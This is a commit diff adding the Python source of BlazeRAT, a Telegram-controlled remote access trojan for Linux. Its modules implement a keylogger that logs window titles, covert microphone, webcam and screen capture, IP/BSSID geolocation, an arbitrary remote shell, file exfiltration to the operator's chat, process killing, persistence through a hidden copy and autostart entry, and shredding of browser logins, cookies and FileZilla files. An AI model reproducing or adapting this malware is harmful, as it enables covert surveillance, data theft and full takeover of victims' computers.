+    Log("Keyboard >> Send text " + keys, chatid)
+    return controller.type(keys)
+
+def SendKeyboard(chatid, bot) -> None:
+    mk = "SNDKEY_"
+    Log("Keyboard >> Send keyboard ", chatid)
+
+    for keys in [
+        [*special_keys][0:12],    # Main
+        [*special_keys][12:18],   # arrows
+        [*special_keys][18:30]]:  # F1-F12
+        markup = types.InlineKeyboardMarkup(row_width=3)
+        for key in range(1, len(keys), 3):
+
+            k1 = keys[key - 1]
+            k2 = keys[key]
+            k3 = keys[key + 1]
+
+            markup.add(
+                types.InlineKeyboardButton(text=k1, callback_data=mk + k1),
+                types.InlineKeyboardButton(text=k2, callback_data=mk + k2),
+                types.InlineKeyboardButton(text=k3, callback_data=mk + k3),
+            )
+
+        bot.send_message(chatid, "keyboard", reply_markup=markup)
+
+

+ 176 - 0
services/keylogger.py

@@ -0,0 +1,176 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Import modules
+from time import ctime
+from io import BytesIO
+from core.logger import Log
+from threading import Thread
+from core.messages import services as Messages
+from pynput.keyboard import Listener, Key  # pip install pynput
+from services.keyboard import controller
+from services.shell import System as RunSystemCommand
+# import pyperclip
+import subprocess
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed
+    to log all keyboard events.
+"""
+
+# Get active window title
+def GetActiveWindowTitle() -> str:
+    output = RunSystemCommand(" xdotool getwindowfocus getwindowname")
+    return output[:-1]  # Remove '\n'
+
+"""
+Keylogger class:
+https://github.com/LimerBoy/CrazyPy/blob/master/Spying/Keylogger.py
+"""
+class Logger:
+    # Constructor
+    def __init__(self, logs=""):
+        self.__keys = logs
+        self.__stopped = True
+        self.__thread = Thread(target=self.__Run)
+        self.__prev_window_title = ""
+        self.__last_key = 0
+
+    # Log key press
+    def __LogKeyPress(self, key: Key):
+        key_text = (str(key)
+                    .replace("\'", "")
+                    .replace("Key.", ""))
+        # Space
+        if key == Key.space:
+            key_text = " "
+        # Enter (new line + active window title)
+        elif key == Key.enter:
+            active_window = GetActiveWindowTitle()
+            if self.__prev_window_title == active_window:
+                key_text = "\n"
+            else:
+                self.__prev_window_title = active_window
+                key_text = f"\n\n ### {active_window} ({ctime()}) ###\n"
+
+      
+        # Special key add [KEY]
+        elif len(key_text) > 1:
+            if key_text =='backspace':
+                key_text = f"[BACK]"
+            else:
+                key_text = f"[{key_text}]".upper()
+        # Append key to all keys
+
+        last6 = self.__keys[-6:]
+        last7 = self.__keys[-7:]
+        last5 = self.__keys[-5:]
+        needClipboard = False
+        if last6 == "[CTRL]":            
+            self.__keys = self.__keys[:-6]
+            if(key_text=="v" or key_text=="c"):
+                needClipboard = True
+
+            key_text = f"[CTRL+{key_text}]"            
+            self.__keys += key_text 
+            # if needClipboard == True:
+            #     clipboard_text = subprocess.run(['xclip', '-selection', 'clipboard', '-out'], capture_output=True, text=True).stdout.strip()
+            #     self.__keys+=f"[{clipboard_text}]"            
+
+        elif last7 == "[SHIFT]":
+            self.__keys = self.__keys[:-7]
+            key_text = f"[SHIFT+{key_text}]"
+            self.__keys += key_text
+        elif last5 == "[ALT]":
+            self.__keys = self.__keys[:-5]
+
+        self.__keys += key_text
+        # On stop
+        if self.__stopped:
+            return False
+
+    # Run logger
+    def __Run(self):
+        with Listener(on_press=self.__LogKeyPress) as listener:
+            listener.join()
+
+    # Return all logs
+    def FetchLogs(self) -> str:
+        return self.__keys
+
+    # Clean logs
+    def CleanLogs(self):
+        self.__keys = ""
+
+    # Start keylogger
+    def Start(self):
+        self.__stopped = False
+        # Append active window title when logger started
+        if len(self.__keys) < 5:
+            self.__keys += f"\n ### {GetActiveWindowTitle()} ({ctime()}) ###\n"
+        self.__thread.start()
+
+    # Stop keylogger
+    def Stop(self):
+        self.__stopped = True
+        controller.press(Key.space)
+        controller.release(Key.space)
+        self.__thread.join()
+
+    # Is active
+    def IsActive(self):
+        return not self.__stopped
+
+
+# Keylogger
+__keylogger = Logger()
+
+""" Handle telegram command """
+def Handle2(callback: dict, bot) -> None:
+    global __keylogger
+    chatid = callback.from_user.id
+    action = callback.data[:-9]
+    # Log
+    Log("Keylogger >> Run action " + action, chatid)
+    # Action
+    bot.send_chat_action(chatid, "typing")
+    # Enable keylogger
+    if action == "Enable":
+        if __keylogger.IsActive():
+            result = Messages.keylogger_recording_not_stopped
+        else:
+            # Move logs when logger restarted
+            logs = __keylogger.FetchLogs()
+            __keylogger = Logger(logs)
+            __keylogger.Start()
+            result = Messages.keylogger_recording_started
+    # Disable keylogger
+    elif action == "Disable":
+        if not __keylogger.IsActive():
+            result = Messages.keylogger_recording_not_started
+        else:
+            __keylogger.Stop()
+            result = Messages.keylogger_recording_stopped
+    # Get keylogs
+    elif action == "GetData":
+        out = __keylogger.FetchLogs()
+        if len(out) < 5:
+            result = "Logs not found"
+        else:
+            obj = BytesIO()
+            obj.write(out.encode("utf8"))
+            return bot.send_document(
+                chatid, obj.getvalue(),
+                caption=Messages.keylogger_logs_received
+            )
+    # Clean logs
+    elif action == "Clean":
+        __keylogger.CleanLogs()
+        result = Messages.keylogger_logs_cleaned
+    # Send result
+    bot.send_message(chatid, result)
+

+ 155 - 0
services/location.py

@@ -0,0 +1,155 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Import modules
+from typing import Union
+from requests import get
+from core.logger import Log
+from netifaces import gateways
+from getmac import get_mac_address
+from psutil import sensors_battery
+from core.messages import services as Messages
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed
+    to get geolocation based on BSSID or IP
+"""
+
+# Is laptop?
+def IsLaptop() -> bool:
+    return sensors_battery() is not None
+
+
+# Get value
+def GetValue(data, val) -> str:
+    try:
+        return data[val]
+    except KeyError:
+        return "Unknown"
+
+""" Get dafault gateway ip address """
+def GetGateway() -> Union[bool, str]:
+    try:
+        gws = next(iter(GetValue(gateways(), "default").values()))
+    except (StopIteration, AttributeError):
+        return False
+    else:
+        return gws[0]
+
+""" Get location based on BSSID address """
+def BssidApiRequest(bssid: str) -> Union[bool, dict]:
+    # Make request
+    try:
+        response = get("https://api.mylnikov.org/geolocation/wifi?v=1.2&bssid=" + bssid)
+    except Exception as error:
+        print(error)
+        return False
+    else:
+        # Parse json
+        json = response.json()
+        if json["result"] == 200 and response.status_code == 200:
+            lat = GetValue(json["data"], "lat")
+            lon = GetValue(json["data"], "lon")
+            addr = GetValue(json["data"], "location")
+            rang = GetValue(json["data"], "range")
+
+            return {
+                "latitude": lat,
+                "longitude": lon,
+                "range": rang,
+                "address": addr,
+                "text": "Based on BSSID " + bssid
+            }
+        else:
+            return False
+
+""" Get location based in IP address """
+def IpApiRequest() -> Union[bool, dict]:
+    # Make request
+    try:
+        response = get("http://www.geoplugin.net/json.gp")
+    except Exception as error:
+        print(error)
+        return False
+    else:
+        json = response.json()
+        if json["geoplugin_status"] == 200 and response.status_code == 200:
+            lat = GetValue(json, "geoplugin_latitude")
+            lon = GetValue(json, "geoplugin_longitude")
+            addr = GetValue(json, "geoplugin_countryName") + ", " + GetValue(json, "geoplugin_city") + ", " + GetValue(json, "geoplugin_regionName")
+            rang = GetValue(json, "geoplugin_locationAccuracyRadius")
+
+            return {
+                "latitude": float(lat),
+                "longitude": float(lon),
+                "range": int(rang),
+                "address": addr,
+                "text": "Based on IP " + GetValue(json, "geoplugin_request")
+            }
+        else:
+            return False
+
+""" Get location by BSSID """
+def GetResultBSSID(message, bot) -> Union[bool, dict]:
+    chatid = message.chat.id
+    # Log
+    Log("Location >> Trying get coordinates based on BSSID address", chatid)
+    # Detect default gateway ip
+    gateway = GetGateway()
+    if not gateway:
+        bot.send_message(chatid, Messages.location_gateway_detection_failed)
+        return False
+    # Get gateway mac address
+    try:
+        bssid = get_mac_address(ip=gateway, network_request=True)
+    except Exception as error:
+        print(error)
+        bot.send_message(chatid, Messages.location_arp_request_failed)
+        return False
+    # Get BSSID information
+    result = BssidApiRequest(bssid)
+    if not result:
+        bot.send_message(chatid, Messages.location_api_request_failed)
+        return False
+
+    return result
+
+""" Get location by IP """
+def GetResultIp(message, bot) -> Union[bool, dict]:
+    chatid = message.chat.id
+    # Log
+    Log("Location >> Trying get coordinates based on IP address", chatid)
+    result = IpApiRequest()
+    if not result:
+        bot.send_message(chatid, Messages.location_api_request_failed)
+        return False
+
+    return result
+
+""" Send location """
+def SendLocation(message, bot) -> None:
+    chatid = message.chat.id
+    bot.send_chat_action(chatid, "find_location")
+
+    if IsLaptop():
+        result = GetResultBSSID(message, bot)
+        if not result:
+            result = GetResultIp(message, bot)
+    else:
+        result = GetResultIp(message, bot)
+
+    # Send geolocation
+    bot.send_location(chatid, result["latitude"], result["longitude"])
+    bot.send_message(chatid,
+                     Messages.location_success % (
+                         result["latitude"],
+                         result["longitude"],
+                         result["range"],
+                         result["address"],
+                         result["text"])
+                     )
+

+ 109 - 0
services/microphone.py

@@ -0,0 +1,109 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Import modules
+from io import BytesIO
+from core.logger import Log
+from threading import Thread
+from wave import open as wave_open # pip3 install wave
+from pyaudio import paInt16, PyAudio # pip3 install pyaudio
+from core.messages import services as Messages
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed
+    to record audio from a microphone
+"""
+
+# Settings
+FORMAT = paInt16
+CHUNK = 1024
+CHANNELS = 2
+RATE = 44100
+
+# Global variables
+global r, p, t, stream, frames
+r, p, t, stream, frames = False, None, None, None, []
+
+""" Record voice from microphone """
+def _RecordMicrophone():
+    # Initialize
+    global r, p, stream, frames
+    frames = []
+    r = True
+    p = PyAudio()
+    stream = p.open(format=FORMAT,
+        channels=CHANNELS,
+        rate=RATE,
+        input=True,
+        frames_per_buffer=CHUNK)
+    # Record microphone
+    while r:
+        data = stream.read(CHUNK)
+        frames.append(data)
+    stream.stop_stream()
+    stream.close()
+    p.terminate()
+
+""" Asynchronously record voice from microphone """
+def _StartAsync():
+    global r, t
+    if r: return False
+    try:
+        t = Thread(target=_RecordMicrophone)
+        t.start()
+    except Exception as error:
+        print(error)
+        r = False
+    else:
+        return True
+
+""" Stop recording """
+def _Stop() -> bytes:
+    global r, p, t, stream, frames
+    if not r: return False
+    r = False
+    t.join()
+    # Write to memory
+    obj = BytesIO()
+    wf = wave_open(obj, "wb")
+    wf.setnchannels(CHANNELS)
+    wf.setsampwidth(p.get_sample_size(FORMAT))
+    wf.setframerate(RATE)
+    wf.writeframes(b''.join(frames))
+    wf.close()
+    return obj.getvalue()
+
+""" Handle telegram command """
+def Handle(callback: dict, bot) -> None:
+    text = callback.data
+    chatid = callback.from_user.id
+    # Start microphone recording
+    if "Enable" in text:
+        # Start voice recording
+        voice = _StartAsync()
+        if voice != False:
+            Log(f"Microphone >> Start voice recording", chatid)
+            bot.send_message(chatid, Messages.microphone_recording_started)
+            bot.send_chat_action(chatid, "record_audio")
+        # Send error message if recording already started
+        else:
+            bot.send_message(chatid, Messages.microphone_recording_not_stopped)
+    # Stop microphone recording
+    elif "Disable" in text:
+        # Send recorded voice message
+        voice = _Stop()
+        if voice != False:
+            Log(f"Microphone >> Stop voice recording", chatid)
+            bot.send_chat_action(chatid, "upload_audio")
+            bot.send_voice(
+                chat_id=chatid, voice=voice,
+                reply_to_message_id=callback.message.message_id,
+                caption=Messages.microphone_recording_stopped
+            )
+        # Send error message if recording not started
+        else:
+            bot.send_message(chatid, Messages.microphone_recording_not_started)

+ 68 - 0
services/power.py

@@ -0,0 +1,68 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Import modules
+from core.logger import Log
+from os import system, getlogin
+from dbus import SystemBus, Interface
+from core.messages import services as Messages
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed
+    to control system power.
+"""
+
+
+# System bus
+system_bus = SystemBus()
+lg = system_bus.get_object(
+    "org.freedesktop.login1",
+    "/org/freedesktop/login1")
+power_management = Interface(lg, "org.freedesktop.login1.Manager")
+
+# PowerOff, Reboot, Suspend
+def _GetMethod(name: str):
+    return power_management.get_dbus_method(name)
+
+# Shutdown computer
+def Shutdown():
+    _GetMethod("PowerOff")(True)
+
+# Restart computer
+def Restart():
+    _GetMethod("Reboot")(True)
+
+# Suspend computer
+def Suspend():
+    _GetMethod("Suspend")(True)
+
+# Log out from current user
+def LogOut():
+    return system("pkill -KILL -u " + getlogin()) == 0
+
+""" Handle telegram command """
+def Handle(callback: dict, bot) -> None:
+    action = callback.data.split("_")[1]
+    chatid = callback.from_user.id
+
+    Log("Power >> Send power event " + action, chatid)
+    bot.send_message(chatid, Messages.power_received % action)
+
+    try:
+        if action == "SHUTDOWN":
+            Shutdown()
+        elif action == "REBOOT":
+            Restart()
+        elif action == "SUSPEND":
+            Suspend()
+        elif action == "LOGOUT":
+            LogOut()
+    except Exception as error:
+        ex = f"Power >> Error while running {action} action\n{error}"
+        Log(ex, chatid)
+        bot.send_message(chatid, ex)
+

+ 21 - 0
services/screenshot.py

@@ -0,0 +1,21 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Import modules
+from io import BytesIO
+from pyscreenshot import grab # pip3 install pyscreenshot
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed
+    to record audio from a microphone
+"""
+
+""" Create desktop screenshot """
+def Capture() -> bytes:
+    obj = BytesIO()
+    grab().save(obj, format="PNG")
+    return obj.getvalue()

+ 87 - 0
services/shell.py

@@ -0,0 +1,87 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Import modules
+from core.logger import Log
+from os import chdir, getcwd, path
+from subprocess import Popen, PIPE
+from core.messages import services as Messages
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed
+    to execute system commands
+"""
+
+# Shell sessions users
+global sessions
+sessions = []
+
+""" Is shell session exists """
+def SessionExists(chatid: int) -> bool:
+    global sessions
+    return chatid in sessions
+
+""" Toggle session """
+def ToggleSession(chatid: int) -> str:
+    global sessions
+    if SessionExists(chatid):
+        sessions.remove(chatid)
+        Log("Shell >> Session closed", chatid)
+        return Messages.shell_session_closed
+    else:
+        sessions.append(chatid)
+        Log("Shell >> Session opened", chatid)
+        return Messages.shell_session_opened
+
+""" Run system command """
+def System(command: str) -> str:
+    try:
+        shell = Popen(command[:], shell=True, stdout=PIPE, stderr=PIPE, stdin=PIPE)
+        output = str(shell.stdout.read() + shell.stderr.read(), "utf-8")
+    except Exception as error:
+        return str(error)
+    else:
+        return output
+
+""" Change directory """
+def ChangeDir(dir: str) -> str:
+    abs = path.abspath(dir)
+    try:
+        chdir(dir)
+    except FileNotFoundError:
+        return Messages.shell_chdir_not_found % abs
+    except NotADirectoryError:
+        return Messages.shell_chdir_not_a_dir % abs
+    except Exception as error:
+        return Messages.shell_chdir_failed % (error, abs)
+    else:
+        return Messages.shell_chdir_success % abs
+
+""" Get current directory """
+def Pwd() -> str:
+    pwd = path.abspath(getcwd())
+    return Messages.shell_pwd_success % pwd
+
+""" Execute shell command """
+def Run(command: str, chatid: int) -> str:
+    Log(f"Shell >> Run command {command}", chatid)
+    # Skip empty command
+    if len(command) < 2:
+        return Messages.shell_command_is_empty
+    # Change working directory
+    if command[:2] == "cd":
+        return ChangeDir(command[3:])
+    # Get current directory
+    elif command[:3] == "pwd":
+        return Pwd()
+    # Exit command
+    elif command[:4] == "exit":
+        return ToggleSession(chatid)
+    # Execute system command
+    elif len(command) > 0:
+        output = System(command)
+        return Messages.shell_command_executed % output

+ 77 - 0
services/startup.py

@@ -0,0 +1,77 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Import modules
+from sys import argv
+from shutil import copytree, rmtree
+from os import path, chdir, mkdir, remove
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed
+    to install the program to startup.
+"""
+
+
+# Installation path settings
+TMP_DIRECTORY = path.join('/', 'var','tmp')
+
+HOME_DIRECTORY = path.expanduser('~')
+INSTALL_DIRECTORY = path.join(TMP_DIRECTORY, ".config")
+CURRENT_DIRECTORY = path.dirname(path.realpath(argv[0]))
+# Autorun path settings
+AUTORUN_DIRECTORY = path.join(HOME_DIRECTORY, ".config/autostart")
+AUTORUN_SHORTCUT = path.join(AUTORUN_DIRECTORY, "blaze.desktop")
+
+# Go to current working directory
+chdir(CURRENT_DIRECTORY)
+
+# Create autostart directory if not exists
+if not path.exists(AUTORUN_DIRECTORY):
+    mkdir(AUTORUN_DIRECTORY)
+
+""" Check if service is installed """
+def ServiceInstalled() -> bool:
+    installed = path.exists(INSTALL_DIRECTORY)
+    startup = path.exists(AUTORUN_SHORTCUT)
+    status = installed and startup
+    return status
+
+""" Install service """
+def ServiceInstall() -> str:
+    print("[*] Installing service...")
+    # Payload
+    shortcut = (f"""
+        [Desktop Entry]
+        Name=BlazeRAT
+        Comment=Remote Administration Tool
+        Exec=/usr/bin/python3 {path.join(INSTALL_DIRECTORY, "main.py")}
+        Type=Application
+        Terminal=false
+        StartupNotify=false
+        X-GNOME-Autostart-enabled=true
+    """)
+    # Copy files to install directory
+    if not path.exists(INSTALL_DIRECTORY):
+        copytree(CURRENT_DIRECTORY, INSTALL_DIRECTORY)
+    # Write shortcut
+    if not path.exists(AUTORUN_SHORTCUT):
+        with open(AUTORUN_SHORTCUT, "w") as file:
+            file.write(shortcut)
+    # Done
+    return "[+] BlazeRAT agent is installed"
+
+""" Uninstall service """
+def ServiceUninstall() -> str:
+    print("[*] Uninstalling service...")
+    # Remove shortcut
+    if path.exists(AUTORUN_SHORTCUT):
+        remove(AUTORUN_SHORTCUT)
+    # Remove installation directory
+    if path.exists(INSTALL_DIRECTORY):
+        rmtree(INSTALL_DIRECTORY)
+    # Done
+    return "[+] BlazeRAT agent uninstalled"

+ 60 - 0
services/taskmanager.py

@@ -0,0 +1,60 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Import modules
+from telebot import types
+from core.logger import Log
+from os import getlogin, geteuid
+from psutil import process_iter, Process
+from core.messages import services as Messages
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed
+    to work with processes.
+"""
+
+""" Kill process by PID """
+def KillProcess(callback: dict, bot):
+    pid = int(callback.data[2:])
+    chatid = callback.from_user.id
+    Log(f"TaskManager >> Kill process {pid}", chatid)
+    process = None
+    try:
+        process = Process(pid)
+        if process != None:
+            print(process)
+            name = process.name()
+            process.kill()
+    except Exception as error:
+        bot.send_message(chatid, Messages.taskmanager_process_kill_failed % (pid, error))
+    else:
+        bot.send_message(chatid, Messages.taskmanager_process_kill_success % (name, pid))
+
+""" Get process list """
+def ShowProcesses(message: dict, bot) -> None:
+    chatid = message.chat.id
+    bot.send_chat_action(chatid, "typing")
+    Log("TaskManager >> Get process list", chatid)
+    username = getlogin()
+    is_root = geteuid() == 0
+    if is_root: username = "root"
+    # Get processes list
+    processes = []
+    for process in process_iter(['pid', 'name', 'username']):
+        # Если юзер - root, то выводим все процессы
+        if is_root:
+            processes.append(process)
+        # Если юзер не рут то выводим только его процессы
+        else:
+            if process.info["username"] == username:
+                processes.append(process)
+    # Create inline keyboard
+    markup = types.InlineKeyboardMarkup()
+    for process in processes:
+        markup.add(types.InlineKeyboardButton(text=process.info["name"], callback_data="TM" + str(process.info["pid"])))
+    # Show
+    bot.send_message(chatid, Messages.taskmanager_process_list % (username, len(processes)), reply_markup=markup)

+ 61 - 0
services/transfer.py

@@ -0,0 +1,61 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Import modules
+from io import BytesIO
+from os import path, walk
+from zipfile import ZipFile, ZIP_DEFLATED
+import core.logger as Logger
+from core.messages import file as Messages
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed
+    to transfer files
+"""
+
+""" Upload file to telegram """
+def UploadFile(tfile, chatid, bot) -> None:
+    # Log
+    Logger.Log(f"Transfer >> Upload file '{tfile}' to telegram", chatid)
+    # If file not exists
+    if not path.exists(tfile):
+        return bot.send_message(chatid, Messages.upload_path_not_found % tfile)
+    # Download file
+    if path.isfile(tfile):
+        with open(tfile, "rb") as file:
+            bot.send_document(chatid, file,
+                caption="📄 " + path.abspath(tfile)
+            )
+    # Archive and download directory
+    else:
+        obj = BytesIO()
+        with ZipFile(obj, "w", compression=ZIP_DEFLATED) as archive:
+            for root, dirs, files in walk(tfile):
+                for file in files:
+                    archive.write(path.join(root, file))
+        bot.send_document(chatid, obj.getvalue(),
+            caption="🗃 " + path.abspath(tfile)
+        )
+
+""" Send file """
+def SendFile(message: dict, bot) -> None:
+    tfile = message.text[10:]
+    chatid = message.chat.id
+    UploadFile(tfile, chatid, bot)
+
+""" Receive file """
+def ReceiveFile(message: dict, bot) -> None:
+    chatid = message.chat.id
+    name = message.document.file_name
+    info = bot.get_file(message.document.file_id)
+    # Log
+    Logger.Log(f"Transfer >> Receive file '{name}' from telegram", chatid)
+    # Save document
+    content = bot.download_file(info.file_path)
+    with open(name, "wb") as file:
+        file.write(content)
+    bot.send_message(chatid, Messages.download_file_success % name)

+ 29 - 0
services/volume.py

@@ -0,0 +1,29 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Import modules
+from services.shell import System
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed
+    to system control audio level
+"""
+
+# Set system volume
+def SetVolume(level: int):
+    if (level <= 100) and (level >= 0):
+        System(f" amixer -D pulse sset Master {level}%")
+
+# Get system volume
+def Get() -> int:
+    try:
+        return int(
+            System(" amixer -D pulse sget Master | grep 'Left:' | awk -F'[][]' '{ print $2 }'")
+                .replace("%", ""))
+    except Exception as error:
+        print(error)
+        return 0

+ 152 - 0
services/webcamera.py

@@ -0,0 +1,152 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Import modules
+from io import BytesIO
+from core.logger import Log
+from os import path, remove
+from threading import Thread
+from tempfile import gettempdir
+from core.messages import services as Messages
+from cv2 import VideoCapture, VideoWriter, VideoWriter_fourcc,\
+    flip, imencode # pip3 install opencv-python
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed
+    to create photos and videos from the webcam
+"""
+
+# Global variables
+global file, r, t, camera, output
+r, t, camera, output = False, None, None, None
+file = path.join(gettempdir(), "webcamera.avi")
+
+""" Check camera by index """
+def _CheckCamera(device: int = 0) -> bool:
+    camera = VideoCapture(device)
+    status = camera.isOpened()
+    camera.release()
+    return status
+
+""" Capture image """
+def _CaptureImage(device: int = 0) -> bytes:
+    # Open webcamera
+    camera = VideoCapture(device)
+    # If failed to open camera
+    if not camera.isOpened():
+        return False
+    # Capture frame
+    for _ in range(15):
+        _, image = camera.read()
+    # Release camera
+    camera.release()
+    del(camera)
+    # Write to memory
+    _, buffer = imencode(".jpg", image)
+    obj = BytesIO(buffer)
+    return obj.getvalue()
+
+""" Capture video from camera """
+def _CaptureVideo(device: int = 0) -> None:
+    # Initialize
+    global r, camera, output, file
+    r = True
+    camera = VideoCapture(device)
+    fourcc = VideoWriter_fourcc(*"XVID")
+    output = VideoWriter(file, fourcc, 20.0, (640,480))
+    # Capture webcam
+    while (r and camera.isOpened()):
+        res, frame = camera.read()
+        if res:
+            frame = flip(frame, 0)
+            output.write(frame)
+        else:
+            break
+
+""" Asynchronously capture video from camera """
+def _StartAsync(device: int = 0) -> None:
+    global r, t
+    if r: return False
+    try:
+        t = Thread(target=_CaptureVideo, args=(device,))
+        t.start()
+    except Exception as error:
+        print(error)
+        r = False
+    else:
+        return True
+
+""" Stop webcam capture """
+def _Stop() -> bytes:
+    global r, t, camera, output, file
+    if not r: return False
+    r = False
+    t.join()
+    # Release everything if job is finished
+    camera.release()
+    output.release()
+    # Read file and delete
+    content = open(file, "rb")
+    remove(file)
+    return content
+
+""" Handle telegram command """
+def Handle(callback: dict, bot) -> None:
+    text = callback.data
+    chatid = callback.from_user.id
+    device = 0
+    # Detect camera device
+    if "_" in text:
+        device = int(text.split('_')[-1])
+    # Take screenshot from webcamera
+    if "Screenshot" in text:
+        bot.send_chat_action(chatid, "upload_photo")
+        # Check camera
+        if not _CheckCamera(device):
+            return bot.send_message(chatid, Messages.webcam_failed_open % device)
+        # Log
+        Log(f"Webcam >> Create screenshot from device {device}", chatid)
+        # Take picture
+        screenshot = _CaptureImage(device)
+        if screenshot != False:
+            bot.send_photo(chatid,
+                photo=screenshot,
+                caption=Messages.webcam_screenshot_captured,
+            )
+        # Send error message
+        else:
+            bot.send_message(chatid, Messages.webcam_failed_open % device)
+    # Start webcam recording
+    if "Enable" in text:
+        # Check camera
+        if not _CheckCamera(device):
+            return bot.send_message(chatid, Messages.webcam_failed_open % device)
+        # Log
+        Log(f"Webcam >> Start video recording from device {device}", chatid)
+        # Start image recording
+        video = _StartAsync(device)
+        if video != False:
+            bot.send_message(chatid, Messages.webcam_recording_started)
+            bot.send_chat_action(chatid, "record_video")
+        # Send error message if recording already started
+        else:
+            bot.send_message(chatid, Messages.webcam_recording_not_stopped)
+    # Stop microphone recording
+    elif "Disable" in text:
+        # Send recorded voice message
+        video = _Stop()
+        if video != False:
+            Log(f"Webcam >> Stop video recording from device {device}", chatid)
+            bot.send_chat_action(chatid, "upload_video")
+            bot.send_video_note(
+                chatid, video,
+                reply_to_message_id=callback.message.message_id,
+            )
+            bot.send_message(chatid, Messages.webcam_recording_stopped)
+        # Send error message if recording not started
+        else:
+            bot.send_message(chatid, Messages.webcam_recording_not_started)

+ 107 - 0
services/wipe.py

@@ -0,0 +1,107 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Import modules
+from io import BytesIO
+from telebot import types
+from string import ascii_letters, digits
+from os import walk, path, rename, unlink
+from random import choice, randint, _urandom
+from core.messages import services as Messages
+from services.startup import HOME_DIRECTORY
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed to
+    clean passwords, cookies, history, credit cards from browsers.
+"""
+
+global detected
+detected = []
+RemoveFiles = [
+    # Chromium based browsers data:
+    "Local State", "Login Data", "Web Data", "Cookies", "History", "Favicons", "Shortcuts", "Top Sites",
+    # Firefox based browsers data:
+    "key3.db", "key4.db", "logins.json", "cookies.sqlite", "places.sqlite", "formhistory.sqlite", "permissions.sqlite", "storage.sqlite", "favicons.sqlite",
+    # FileZilla servers:
+    "recentservers.xml", "sitemanager.xml", "filezilla.xml",
+]
+
+""" Wipe browser data request """
+def WipeBrowserDataInfo(message: dict, bot):
+    global detected
+    DetectFiles(HOME_DIRECTORY)
+    obj = BytesIO()
+    obj.write(b"This files will be removed:\n\n" +
+        "\n".join(detected).encode())
+    bot.send_document(
+        message.chat.id, obj.getvalue(),
+        caption=Messages.wipe_files_count % len(detected)
+    )
+    markup = types.InlineKeyboardMarkup()
+    markup.add(
+        types.InlineKeyboardButton(text=Messages.wipe_agree, callback_data="WipeYes"),
+        types.InlineKeyboardButton(text=Messages.wipe_disagree, callback_data="WipeNo")
+    )
+    bot.send_message(message.chat.id, Messages.wipe_confirm, reply_markup=markup)
+
+def WipeBrowserData(callback: dict, bot):
+    global detected
+    removed = 0
+    if callback.data.endswith("Yes"):
+        for file in detected:
+            if ShredFile(file):
+                removed += 1
+        bot.send_message(callback.from_user.id, Messages.wipe_removed % removed)
+    else:
+        detected = []
+        bot.send_message(callback.from_user.id, Messages.wipe_cancelled)
+
+""" Detect files to delete """
+def DetectFiles(dir: str) -> list:
+    global detected
+    detected = []
+    for r, d, f in walk(dir):
+        for file in f:
+            if file in RemoveFiles:
+                detected.append(path.join(r, file))
+    detected = sorted(detected)
+
+""" Get random file name """
+def RandomFile() -> str:
+    result = ""
+    data = ascii_letters + digits
+    for _ in range(randint(8, 16)):
+        result += choice(data)
+    return result
+
+"""
+Remove the data from file,
+make it unrecoverable.
+"""
+def ShredFile(file: str, cycles = 1) -> bool:
+    # Check if file exists and is not directory
+    if not path.exists(file) or not path.isfile(file):
+        return False
+    # Shred file
+    try:
+        # Create random filename
+        RandomFileName = RandomFile()
+        # Rewrite the data of file,
+        with open(file, "ba+") as delfile:
+            length = delfile.tell()
+            for _ in range(cycles):
+                delfile.seek(0)
+                delfile.write(_urandom(length))
+        # Renames the file for completely remove traces
+        rename(file, RandomFileName)
+        # Finaly deletes the file
+        unlink(RandomFileName)
+    except Exception as error:
+        print(error)
+        return False
+    else:
+        return True

+ 3 - 0
test.sh

@@ -0,0 +1,3 @@
+#bash install.sh
+screen -dm bash -c "python3 main.py"
+

BIN
users.db